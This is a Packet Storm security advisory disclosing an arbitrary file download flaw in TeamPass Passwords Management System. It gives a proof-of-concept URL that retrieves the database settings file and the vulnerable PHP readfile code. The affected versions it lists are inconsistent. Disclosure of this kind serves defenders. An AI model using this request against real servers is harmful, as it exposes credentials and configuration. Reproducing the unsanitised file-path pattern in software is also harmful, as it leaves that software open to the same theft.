TeamPass Passwords Management System 2.1.26 File Download

2016-07-22T00:00:00
ID PACKETSTORM:138017
Type packetstorm
Reporter Hasan Emre Ozer
Modified 2016-07-22T00:00:00

Description

                                        
                                            `1. ADVISORY INFORMATION  
========================================  
Title: TeamPass Passwords Management System via Unauth File Download and Arbitrary File Download  
Application: TeamPass Passwords Management System  
Class: Sensitive Information disclosure  
Remotely Exploitable: Yes  
Versions Affected: TeamPass Passwords Management System <= 2.1.26  
Bugs: Arbitrary File Download  
Date of found: 21.03.2016  
Reported: 09.05.2016  
Date of Public Advisory: 13.05.2016  
Author: Hasan Emre Ozer   
  
  
2. CREDIT  
========================================  
This vulnerability was identified during penetration test  
by Hasan Emre Ozer & Halit Alptekin from PRODAFT / INVICTUS  
  
Thank you Mehmet Ince for support  
  
3. DESCRIPTION  
========================================  
We deciced to publish the vulnerability after its fix in release 2.1.26  
  
4. VERSIONS AFFECTED  
========================================  
TeamPass Passwords Management System <= 2.1.10  
  
  
5. TECHNICAL DETAILS & POC  
========================================  
Using 'downloadFile.php' file from 'sources' directory we can download any file.  
  
  
Proof of Concept (POC)  
  
Example for downloading database configuration:  
  
http://teampass/sources/downloadFile.php?sub=includes&file=settings.php  
  
  
Technical Details  
<?php   
......  
  
header("Content-disposition: attachment; filename=".rawurldecode($_GET['name']));  
header("Content-Type: application/octet-stream");  
header("Pragma: public");  
header("Cache-Control: must-revalidate, post-check=0, pre-check=0, public");  
header("Expires: 0");  
readfile('../'.$_GET['sub'].'/'.basename($_GET['file']));  
?>  
  
$_GET['sub'] and $_GET['file'] parameters vulnerable in readfile function.   
  
  
  
6. SOLUTION  
========================================  
Update to the latest version v2.1.26  
  
  
7. REFERENCES  
========================================  
http://teampass.net/2016-05-13-release-2.1.26  
`